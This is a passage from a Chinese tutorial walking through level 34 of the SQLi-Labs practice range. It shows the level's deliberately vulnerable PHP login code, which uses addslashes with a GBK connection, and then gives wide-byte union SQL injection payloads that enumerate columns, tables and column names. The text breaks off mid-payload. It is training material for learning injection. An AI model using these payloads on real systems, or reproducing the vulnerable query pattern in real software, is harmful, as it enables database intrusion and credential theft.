君衍.
SQL-Labs靶场通关教程:
SQL注入第一课
SQL无列名注入
SQL报错注入原理
简单的SQL练习,联合注入、报错注入
POST提交方式注入
HTTP头部注入
二次注入
一些绕过案例
HTTP参数污染攻击
一、34关 POST单引号宽字节注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username=‘$uname’ |
本关其实与33关相似,只是使用POST进行传参,过滤方法与33关一致,所以解法也差不多,首先我们依旧是进行测试查看回显:
可以看到uname以及passwd都进行了过滤,所以我们其实依旧可以使用宽字节注入,下面查看源码。
1、源码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
//echo "username before addslashes is :".$uname1 ."<br>";
//echo "Input password before addslashes is : ".$passwd1. "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname1);
fwrite($fp,'Password:'.$passwd1."\n");
fclose($fp);
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
//echo "username after addslashes is :".$uname ."<br>";
//echo "Input password after addslashes is : ".$passwd;
// connectivity
mysqli_query($con1, "SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
···
echo 'Your Login name:'. $row['username'];
···
echo 'Your Password:' .$row['password'];
···
}
else
{
···
//echo "Try again looser";
print_r(mysqli_error($con1));
···
}
}
?>
这里我们只需要看以下代码:
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
使用 addslashes 函数对用户名和密码进行转义处理。剩下的代码与第32关相同。依旧是查询到的话输出查询到的信息,查不到的话输出报错信息,所以联合查询以及报错注入依旧可以尝试使用。
所以我们使用Burp抓包进行测试,抓包发送到重发器中完成注入。
2、联合查询注入
1、猜字段数
uname=1%df' order by 3#&passwd=1&submit=Submit
我们可以看到没有第三列,所以我们为2列。
2、测试观察回显内容
uname=-1%df' union select 1,2#&passwd=1&submit=Submit
3、爆出数据库中所有表的名称
uname=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit
4、爆出数据库中表的列名
uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit
同样的,上面是使用十六进制进行查询,下面我们使用子查询进行查询。
uname=